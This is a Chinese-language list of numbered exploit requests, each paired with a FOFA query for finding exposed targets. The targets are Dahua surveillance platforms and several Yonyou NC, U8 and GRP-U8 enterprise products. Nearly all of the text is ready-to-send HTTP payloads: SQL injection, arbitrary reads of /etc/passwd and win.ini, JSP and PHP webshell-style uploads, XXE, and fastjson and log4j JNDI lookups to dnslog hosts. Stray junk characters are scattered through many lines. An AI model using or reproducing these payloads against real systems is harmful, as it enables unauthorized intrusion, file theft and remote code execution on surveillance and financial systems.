/ P9 s9 L7 M  L3 x2 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 345
2 |  G9 N3 K! c# \3 a0 A% YAccept-Encoding: gzip

<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
" J" ^" Y9 `3 H4 H$ D+ a<s11:Body>
7 }/ W( E4 l. T2 j. ?" ?: b    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
2 p5 u0 E8 _7 k6 p2 s( H       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
6 \) W6 b( J; z% a% |8 p      </netMarkings>
    </ns1:deleteBulletin>
  </s11:Body>
  p) V5 C! a9 `$ k</s11:Envelope>
& v! L; o. y" C

+ S8 A5 S1 L/ `8 @6 w18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
FOFA：app="dahua-DSS"
: |; M! e* U3 |. r* A% tGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
) O4 X" j% q1 V# c- I9 }* g) |Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
9 C" |1 i' ]' l2 A) M2 O; O1 HAccept-Encoding: gzip, deflate
% ~$ k4 O. |! c( d8 U: YAccept: */*
Connection: keep-alive
4 w1 x: b$ P0 J  r; Y


19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
, |" X$ z" f* p# b# x' x) lFOFA：app="dahua-DSS"
# D" X6 x2 j8 aGET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
7 C" q/ G+ c" n% b+ F8 s& RHost:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
5 o& O; X, i( q0 [6 _3 PAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
; ~9 E; z) @5 f3 Y+ S/ Q# `

20. 大华ICC智能物联综合管理平台任意文件读取
2 Q- i& e% j/ l! m6 r7 S% \7 n- bFOFA：body="*客户端会小于800*"
) M+ u( z3 n# t1 Z, a# p- FGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
+ |* i8 e: @, eUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, y9 {8 c) y. L- X. ]Connection: close
Accept: */*
( Y' s6 Z1 a) O9 l5 U% ~7 A! z1 dAccept-Language: en
+ ~, V5 i: u7 ]$ YAccept-Encoding: gzip
3 x1 J: W* K6 G3 |, ]
5 j" V9 S6 y0 j4 Y( L8 a
2 w- Q: }0 ?/ N' c9 r* v$ n' n21. 大华ICC智能物联综合管理平台random远程代码执行
2 ]& F9 j# X7 WFOFA：icon_hash="-1935899595"
. M! ?" ]9 i& JPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
7 W6 H! W. b! S3 aHost: x.x.x.x
4 F3 \" x4 i3 A& O8 i& CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& Z/ A% h' P/ c  e, p) pContent-Length: 161
Accept-Encoding: gzip
2 F* {- X) M4 m6 S6 a$ `5 _Connection: close
Content-Type: application/json;charset=utf-8
( G* e' W$ X% A- e* O; ?! m
{
"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
9 [7 z2 h0 N1 S0 c! U    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
7 o' `- D0 w* V& a}

, o" p: F6 V& L/ ^& Z
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
FOFA：icon_hash="-1935899595"
4 Z2 L/ _& v9 ?) J/ OPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

& J/ k; _. I, l) J. _{
"loginName":"${jndi:ldap://dnslog}"
}

& [: w0 L! V5 Y  D( }2 t

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
. c4 \3 ?! A9 ^POST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
# b9 y- [6 r  M& K9 E8 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close

{
    "a":{
        "@type":"com.alibaba.fastjson.JSONObject",
/ H8 f: n( e3 a+ I       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
+ h" J6 M5 W. X}

$ q/ c6 Q! P, g3 D& r
24. 用友NC 6.5 accept.jsp任意文件上传
) J0 H/ Y9 J4 _2 p" b2 VFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
+ j" X; c; V' e7 f3 R  d. GHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
& [2 w; V' N4 V3 DAccept: */*
6 A/ b+ d$ I' V2 H5 eAccept-Encoding: gzip
" J6 e) q9 {5 ?7 C6 DContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
7 {- x3 @$ d) ^1 Q) b/ v
! W! Z5 H. |2 T  S-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
3 @! k/ J1 R& d6 l4 I8 YContent-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
. _4 _  P! V! S4 AContent-Type: text/plain
0 G; I3 ^: z/ e
<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
& k6 G; v2 v/ M-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
  u5 q* b8 U  s; y+ X9 NContent-Disposition: form-data; name="fname"

& d6 o" m* Q, _% z( [* {% h$ n\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
, @. S" s& F5 d' \9 m+ O4 w$ z9 J-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
7 g& g. X7 x) j3 R

% Y5 m8 R# C* G8 @: `# Q25. 用友NC registerServlet JNDI 远程代码执行
FOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
% i( \; q. b! v. LHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
7 R0 s+ d/ Y9 A) z! T( Q$ fAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
( U" U0 x+ w  X9 w5 cAccept-Encoding: gzip, deflate
. N+ ^* n" P& X5 b9 vAccept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
  l4 ~" C- a& h* ?Content-Type: application/x-www-form-urlencoded
- o8 B' U1 k2 e1 _4 q- i& |5 r
% a6 T! L3 K# J* t' htype=1&dsname=ldap://dnslog

5 q4 [/ B& G, ?- `

26. 用友NC linkVoucher SQL注入
0 j( V) H5 G4 \! Z2 o/ |/ I! nFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
9 |3 u3 F8 U# E: r4 q  X: g$ Q3 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
& ]3 M+ Q2 G& s! i5 |4 NContent-Type: application/x-www-form-urlencoded
' E. D4 _$ k: ~" N+ BAccept-Encoding: gzip, deflate
Accept: */*
* {  o+ w* y( m' l1 `& KConnection: keep-alive
$ v2 g* G& O- e8 U9 h7 L

27. 用友 NC showcontent SQL注入
1 ~; ^6 _5 d% F1 U' j3 z8 {, rFOFA：icon_hash="1085941792"
GET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
# O6 w3 Y5 ^) s/ u/ V& cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" K" I" K/ v0 j" OAccept-Encoding: identity
Connection: close
Content-Type: text/xml; charset=utf-8
5 T1 `/ O# n/ F. x7 \

28. 用友NC grouptemplet 任意文件上传
) r8 Z' m8 z1 \6 V+ cFOFA：icon_hash="1085941792"
+ H! `- l  w7 |1 ~4 bPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
0 G  A1 P! K6 \# i: P4 P8 vHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip

! J% e2 c' ], w" k8 Q$ Z8 k------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
+ P9 `9 X! l7 f( D/ C2 S+ JContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
2 c( R! u: Z# A4 T! J/ ~! JContent-Type: application/octet-stream
* [5 e2 d: C, |1 }3 G; ~
<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
  R: U0 a8 u" o------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--

% Z8 s8 F0 P- D8 G/ _
/uapim/static/pages/nc/head.jsp
6 Z% ?5 d! U8 e$ `/ o5 g, N
29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
* d1 O: x$ u3 |GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
3 D, @$ b7 l* U7 f$ [; sHost: your-ip
& W* R; p- b2 Y1 JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
0 i: y2 E* Y2 AConnection: keep-alive


30. 用友NC importPml SQL注入
7 p' p( \7 }# I- i5 v/ ]" S# G! yFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
) k& x6 Y( r9 J3 U4 P* N. RPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
0 q7 ^5 Q! B6 g  D  FContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
* K- K* ^* q+ P3 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Connection: close

4 a9 O. D8 k4 n! U4 E( L+ S9 K% x------WebKitFormBoundaryH970hbttBhoCyj9V
3 F6 `. @9 N, r! g. I' g/ `Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
+ w' }3 p9 R. L+ k% J: v6 vContent-Type: image/jpeg
------WebKitFormBoundaryH970hbttBhoCyj9V--

/ c1 y0 k2 R/ T
, E0 W& y0 N2 c( Y4 B3 E& ~6 \31. 用友NC runStateServlet SQL注入
) S$ C) R0 p: C* T; [6 T$ Uversion<=6.5
4 x2 t1 Y: N: VFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
( O) }! _! @3 RGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
3 @3 d( r, J5 \  R9 O7 OHost: host
3 e1 T9 ^  O0 M8 z  kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded
, P% P+ A" z7 ^3 O$ P; o! o5 X
/ ?4 U6 [2 T4 W8 {1 J& C3 ~
+ B5 L  ]9 ~- D& Z2 W; b; E32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
6 N8 C, H0 ]% e8 e/ H/ K5 @FOFA：app="用友-UFIDA-NC"
2 g5 H) i3 s  O( PGET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
& J3 y; W# L" A; fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
0 ^' C( j) g2 W9 G  Z

6 J) [4 C$ @# i! {4 C- W4 f) C# O& L33. 用友NC downTax/download SQL注入
! K4 B" u- t) l5 Z; i3 [version：NC6.5FOFA：app="用友-UFIDA-NC"
GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
" `. I% I8 `9 l0 B  uContent-Type: application/x-www-form-urlencoded
% J- I' ?" [/ F; L, d- FAccept-Encoding: gzip, deflate
Accept: */*
# T5 h) m2 U* d" M7 }4 j# ]3 ?Connection: keep-alive
4 P* ~$ d5 Y# B0 j  |7 i

34. 用友NC warningDetailInfo接口SQL注入
1 X$ H5 x) ]' r! _# DFOFA：app="用友-UFIDA-NC"
5 @* N, ?& a: n( |5 ?2 a- iGET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
$ y& ?8 N3 Y2 B& D& v

, U0 B7 O3 I3 g5 r9 }9 }& a' }& b35. 用友NC-Cloud importhttpscer任意文件上传
0 `6 C( Q- w( B, h- W9 D) D. P6 `FOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
* n" y8 [1 Q6 D1 G8 j5 X/ }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
. J  @3 w- v. |Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
Content-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
; t: M# Q7 I0 T7 @) pContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

" G8 _, O; x' D<%out.println(1111*1111);%>
- w; k0 F5 N, ?- N$ t. w--fd28cb44e829ed1c197ec3bc71748df0--

" t4 }8 S7 b+ J6 a5 ?: Z5 b9 H+ G# i
- V# V* g8 z0 v1 G- E! k36. 用友NC-Cloud soapFormat XXE
4 S6 \: g& E* N% ?( ?2 LFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
/ p/ P  T% m) y; Y, m; {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Content-Length: 263
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
! ~/ |/ [9 [* m) ?9 sAccept-Encoding: gzip, deflate
: ]3 {8 K/ M6 ?4 p; JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
2 v3 c4 Q$ X3 y* r* BContent-Type: application/x-www-form-urlencoded
, g) H% V* ^* b7 j7 fUpgrade-Insecure-Requests: 1

msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a


$ C9 N7 a8 J4 S9 ]$ L$ m37. 用友NC-Cloud IUpdateService XXE
' l* V$ I: }8 v9 S  LFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
8 H; c! C% d3 n  CAccept-Language: zh-CN,zh;q=0.9
Connection: close
7 b6 M4 V# u, Y5 U* nContent-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
! J+ Z7 x) O9 {; U( L* y3 KUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
<soapenv:Header/>
<soapenv:Body>
9 Z3 c3 Q2 g" R! z2 u1 h<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
- f! `$ V# ~- w6 X/ ^7 \2 G<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
, _  m* L. {" G" S<xxx/>]]></iup:string>
& J, Z6 F' |: C: J- O</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>


7 q2 W8 R7 |* b5 T
( D! o' X. W$ G- w38. 用友U8 Cloud smartweb2.RPC.d XXE
' G, J* ^( E' i2 C5 [' o& cFOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
* b6 G' F1 ?' Q8 [1 \& B- R# aHost: 192.168.40.131:8088
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
" |. M1 `, u, G2 l- J3 jContent-Length: 260
* M0 l, S- T9 \, mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
" R5 \1 }% ^) lAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
) R. y- Z5 |" F
+ b2 `/ P' J% x__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
) D9 S! j; h- T
! r" v2 r2 @( a- O5 x
0 }$ o. y$ {, @- F39. 用友U8 Cloud RegisterServlet SQL注入
2 p3 ]+ y* ?0 B- n- I  i3 V/ xFOFA：title="u8c"
POST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
7 s. T( h+ k" C6 v0 VContent-Length: 85
Accept: */*
Accept-Language: en
+ \2 L8 }; M  `Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
  K1 X3 ?2 h; e% J- q
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
Host: x.x.x.x
. o+ o4 ^+ U* c; m9 W" v9 dUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
2 N5 X' ^/ A& z4 DContent-Type: text/xml
Connection: close
& j5 ]( g+ Q2 v! x" J, M
2 D2 l2 L! B: V( w<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>

+ G/ T2 R' P+ O& C
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
( [7 P; b9 \, d2 lGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
Accept-Encoding: gzip
Connection: close
* K) `9 p9 J" [) D

+ p6 K7 S* z+ f' {* ~; |42. 用友GRP-U8 SmartUpload01 文件上传
! g: ?! e, ~0 fFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
! F& \& M9 h; D0 v' LHost: x.x.x.x
* K9 @/ U" z# c( M1 W0 `7 `% x' SContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
/ e" r# ?% ~- Q9 QUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD
7 ?; [1 g( u# c! F

http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml

* }/ }  q6 {- p# w' T43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 X. ~( p% _' w0 HAccept-Language: zh-CN,zh;q=0.9
Connection: close
. v- b7 p& V$ v  C3 I7 B! RSOAPAction:
, \# |) b4 b8 O! yContent-Type: text/xml;charset=UTF-8
2 Z7 V# d, I& T& b/ Q- A
/ j! D! `8 {5 P/ ]* W<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
3 \; x: Y6 p0 g' I   <soapenv:Header/>
   <soapenv:Body>
      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
9 _; e. S+ F; e6 Z         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
   </soapenv:Body>
( m0 F9 N3 G/ G</soapenv:Envelope>


44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
; O- @  B1 r# I/ tGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; v  M7 t  ^& j1 M/ r. AAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
8 N9 q8 }: W7 g5 SConnection: close

- f1 L* q7 y1 j
' u8 `  N+ G. K9 T; ], q45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
) D2 a( y& G- W2 }# F* p8 m8 w; XPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
0 o5 r+ s6 |9 ^( p) I) n0 |: DConnection: close
; [2 Q3 {6 ?% Q1 E, V0 Y* u8 g+ h5 xContent-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 E6 ?7 ?+ t% `4 OContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

$ t" S& b  i  X) _  [* WreqData=<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
4 U, k  W  M& ~. v7 b' E' n
/ j* k8 J3 t. I, V  m) o2 \
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; L& A" Z3 ^, w( P% iConnection: close

+ [; A- o; m$ r9 Q, Z( ]; U
47. 用友GRP A++Cloud 政府财务云 任意文件读取
FOFA：body="/pf/portal/login/css/fonts/style.css"
6 X/ p% [8 C7 f& o2 gGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
% V) Y. b, L4 oCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
/ a' f8 \  T3 y: F- l9 j/ [% XUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
: X+ k' _9 Q2 H2 d& UAccept-Encoding: gzip, deflate, br
$ Q* U# ?! Z( Z7 Z9 L, B  x- B8 xAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
% q- I2 x' K' ^' y9 G
! h  v7 C! K, o" W. _  Z5 T
  ^4 X9 {  r% S
48. 用友U8 CRM swfupload 任意文件上传
7 e/ X7 i2 T& T; D' Z( gFOFA：title="用友U8CRM"
* y+ o, Q' X/ I4 ~% u1 `; @! a+ @6 ?POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, a! i6 K) v  K1 [* }  X8 B5 I$ ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ F3 W* E4 ~  y1 d1 CContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
* ~. i( c6 [8 ^& ^  E: ]8 ?Content-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
2 B' A- k. d# ^6 g( T1 c------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
  h5 N1 ?! w  i9 ?upload
